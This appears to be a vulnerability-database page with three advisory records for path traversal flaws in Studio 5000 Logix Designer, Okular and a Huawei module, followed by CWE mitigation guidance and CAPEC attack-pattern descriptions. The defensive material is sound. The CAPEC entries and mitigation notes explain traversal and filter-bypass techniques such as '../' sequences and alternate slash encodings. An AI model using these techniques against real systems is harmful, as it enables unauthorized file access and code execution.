Vulnerability from github – Published: 2026-07-14 18:31 – Updated: 2026-07-14 18:31A path traversal security issue exists within Studio 5000 Logix Designer® due to improper limitation of file paths within ACD project files. The software does not sanitize or validate file names embedded in the ACD file structure during the project opening procedure, allowing path traversal sequences to escape the intended extraction directory. If exploited, an attacker could craft a malicious ACD project file that results in arbitrary files being written to attacker-controlled locations on the file system, potentially leading to code execution.
{
"affected": [],
"aliases": [
"CVE-2026-9108"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T16:17:05Z",
"severity": "MODERATE"
},
"details": "A path traversal security issue exists within\u00a0Studio 5000 Logix Designer\u00ae\u00a0due to improper limitation of file paths within ACD project files. The software does not\u00a0sanitize or\u00a0validate\u00a0file names embedded in the ACD file structure during the project opening procedure, allowing path traversal sequences to escape the intended extraction directory. If exploited, an attacker could craft a malicious ACD project file that results in arbitrary files being written to attacker-controlled locations on the file system, potentially leading to code execution.",
"id": "GHSA-592c-v2mf-x9pf",
"modified": "2026-07-14T18:31:56Z",
"published": "2026-07-14T18:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9108"
},
{
"type": "WEB",
"url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1783.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5932-X8GJ-85RM
Vulnerability from github – Published: 2022-05-14 01:18 – Updated: 2022-05-14 01:18okular version 18.08 and earlier contains a Directory Traversal vulnerability in function "unpackDocumentArchive(...)" in "core/document.cpp" that can result in Arbitrary file creation on the user workstation. This attack appear to be exploitable via he victim must open a specially crafted Okular archive. This issue appears to have been corrected in version 18.08.1
{
"affected": [],
"aliases": [
"CVE-2018-1000801"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-06T18:29:00Z",
"severity": "MODERATE"
},
"details": "okular version 18.08 and earlier contains a Directory Traversal vulnerability in function \"unpackDocumentArchive(...)\" in \"core/document.cpp\" that can result in Arbitrary file creation on the user workstation. This attack appear to be exploitable via he victim must open a specially crafted Okular archive. This issue appears to have been corrected in version 18.08.1",
"id": "GHSA-5932-x8gj-85rm",
"modified": "2022-05-14T01:18:39Z",
"published": "2022-05-14T01:18:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000801"
},
{
"type": "WEB",
"url": "https://bugs.kde.org/show_bug.cgi?id=398096"
},
{
"type": "WEB",
"url": "https://cgit.kde.org/okular.git/commit/?id=8ff7abc14d41906ad978b6bc67e69693863b9d47"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/09/msg00027.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201811-08"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4303"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-593F-Q9RQ-354G
Vulnerability from github – Published: 2023-09-25 15:30 – Updated: 2024-04-04 07:49Redirection permission verification vulnerability in the home screen module. Successful exploitation of this vulnerability may cause features to perform abnormally.
{
"affected": [],
"aliases": [
"CVE-2023-41302"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-25T13:15:11Z",
"severity": "HIGH"
},
"details": "Redirection permission verification vulnerability in the home screen module. Successful exploitation of this vulnerability may cause features to perform abnormally.",
"id": "GHSA-593f-q9rq-354g",
"modified": "2024-04-04T07:49:45Z",
"published": "2023-09-25T15:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41302"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2023/9"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202309-0000001638925158"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.